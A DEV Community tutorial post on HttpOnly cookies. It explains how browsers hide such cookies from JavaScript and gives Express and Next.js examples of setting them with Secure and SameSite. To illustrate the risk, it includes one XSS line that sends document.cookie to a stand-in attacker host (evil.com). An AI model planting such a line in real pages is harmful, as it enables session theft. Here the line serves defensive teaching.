DEV Community

Mohsen Fallahnejad
Mohsen Fallahnejad

Posted on

Understanding HttpOnly Cookies in Depth

πŸͺ Understanding HttpOnly Cookies

HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.

They are designed to protect sensitive data β€” especially authentication tokens β€” from attacks like Cross-Site Scripting (XSS).


πŸ” What Does HttpOnly Mean?

When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.

That means:

console.log(document.cookie); // ❌ You will NOT see HttpOnly cookies here. 
Enter fullscreen mode Exit fullscreen mode

The cookie still goes to the server automatically with every HTTP request to the same origin.


βš™οΈ How Browsers Enforce It

Browsers handle HttpOnly cookies internally:

  1. The server sets a cookie with Set-Cookie header.
  2. The browser stores it securely.
  3. On every request to the same domain/path, the browser attaches the cookie in the Cookie header.
  4. JavaScript cannot read or modify it.

βœ… This prevents attackers from stealing session tokens via injected scripts.


🚧 Why It's Important

Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:

fetch('https://evil.com?cookie=' + document.cookie); 
Enter fullscreen mode Exit fullscreen mode

This would expose your session token.

With HttpOnly, that attack fails.


πŸ’‘ Secure + HttpOnly = Best Practice

You should always combine:

  • HttpOnly β†’ hides cookie from JavaScript
  • Secure β†’ only send over HTTPS
  • SameSite β†’ restricts cross-site sending (helps prevent CSRF)

Example header:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict 
Enter fullscreen mode Exit fullscreen mode

🧱 Example: Express Backend

import express from "express"; import cookieParser from "cookie-parser"; const app = express(); app.use(cookieParser()); app.post("/login", (req, res) => { const token = "user_jwt_token_here"; res.cookie("token", token, { httpOnly: true, secure: true, sameSite: "strict", }); res.send("Logged in!"); }); app.get("/profile", (req, res) => { // You can access it on server: const token = req.cookies.token; res.json({ message: "Token exists?", token: !!token }); }); app.listen(3001, () => console.log("βœ… Express running on port 3001")); 
Enter fullscreen mode Exit fullscreen mode

βš›οΈ Example: Next.js API Route

// pages/api/login.ts import type { NextApiRequest, NextApiResponse } from "next"; import { serialize } from "cookie"; export default function handler(req: NextApiRequest, res: NextApiResponse) { const token = "jwt_token_here"; res.setHeader( "Set-Cookie", serialize("token", token, { httpOnly: true, secure: process.env.NODE_ENV === "production", sameSite: "strict", maxAge: 60 * 60 * 24 * 7, // 7 days path: "/", }) ); res.status(200).json({ success: true }); } 
Enter fullscreen mode Exit fullscreen mode

Now your cookie is automatically sent with every request β€” but never visible to document.cookie.


🧠 Behind the Scenes

When you refresh the page:

  • Browser checks stored cookies for matching domain/path.
  • Attaches them automatically in the Cookie header.
  • Server reads them and can validate session or JWT.

No need for localStorage or client-side access.

This reduces attack surface dramatically β€” because even if the client is compromised, tokens aren’t exposed to script access.


βš”οΈ Common Mistakes

❌ Setting cookies in client-side JS β†’ breaks security

βœ… Always set cookies via Set-Cookie header from server.

❌ Storing JWTs in localStorage

βœ… Store them in HttpOnly cookies instead.


πŸ” Summary

Feature Description Prevents
HttpOnly Hides cookie from JavaScript XSS
Secure Sends only over HTTPS MITM
SameSite Restricts cross-site CSRF
Server-set cookie Controlled by backend Tampering

πŸš€ Key Takeaway

Store your auth tokens in HttpOnly cookies, not in localStorage.

They protect against XSS by design β€” one of the simplest and strongest web security patterns.

Originally published on: Bitlyst

Top comments (0)